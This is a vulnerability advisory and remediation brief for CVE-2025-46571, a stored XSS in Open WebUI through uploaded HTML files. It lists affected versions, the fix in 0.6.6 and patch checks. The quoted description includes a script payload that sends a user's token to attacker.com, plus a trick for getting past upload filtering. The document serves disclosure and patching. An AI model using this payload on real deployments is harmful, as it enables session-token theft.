Open WebUI allows limited stored XSS vila uploaded html file

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS 4.0

6.4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N · score source

EPSS

• CVE-2025-46571: 0.37% estimated exploitation activity in the next 30 days; percentile 30.78 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. Details The following HTTP request can be sent to the backend server to upload a file with the contents: <scriptfetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script Note the filename="test.html" , Content-Type: text/html, and <h1padding</h in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script tag. The backend server responds to the above request with JSON data that contains an id parameter. This ID can be used to view the…

Published by the source

7 Jul 2026, 16:50 UTC

Last modified by the source

13 Jul 2026, 16:42 UTC

Source last checked

26 Oct 2026, 13:46 UTC

1. Revision 3 · amended · 26 Oct 2026

   Amended from ghsa record GHSA-8gh5-qqh8-hq3x

2. Revision 2 · amended · 25 Oct 2026

   Reviewed OSV alias/range/CVSS4 correction; package source scopes and original publication preserved. No customer finding resolved.

3. Revision 1 · created · 24 Oct 2026

   Published from osv record GHSA-8gh5-qqh8-hq3x

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# Patch Next advisory brief: CVE-2025-46571

Advisory: Open WebUI allows limited stored XSS vila uploaded html file
IDs: CVE-2025-46571, GHSA-8gh5-qqh8-hq3x
Record: https://patchnext.com/advisories/cve-2025-46571 (revision 3, source checked 26 Oct 2026, 13:46 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Medium (CVSS 6.4)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: open-webui 0.6.6. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI open-webui: affected < 0.6.6; fixed in 0.6.6

## Suggested inspection (read-only)
- `python -m pip show open-webui`: prints the installed version. Run with the environment that serves production active.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on open-webui.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-8gh5-qqh8-hq3x (OSV record GHSA-8gh5-qqh8-hq3x lists affected ranges: PyPI open-webui >=0 <0.6.6 (fixed))
- Verified: https://github.com/advisories/GHSA-8gh5-qqh8-hq3x (GitHub-reviewed advisory GHSA-8gh5-qqh8-hq3x lists affected ranges: PyPI open-webui >=0 <0.6.6)

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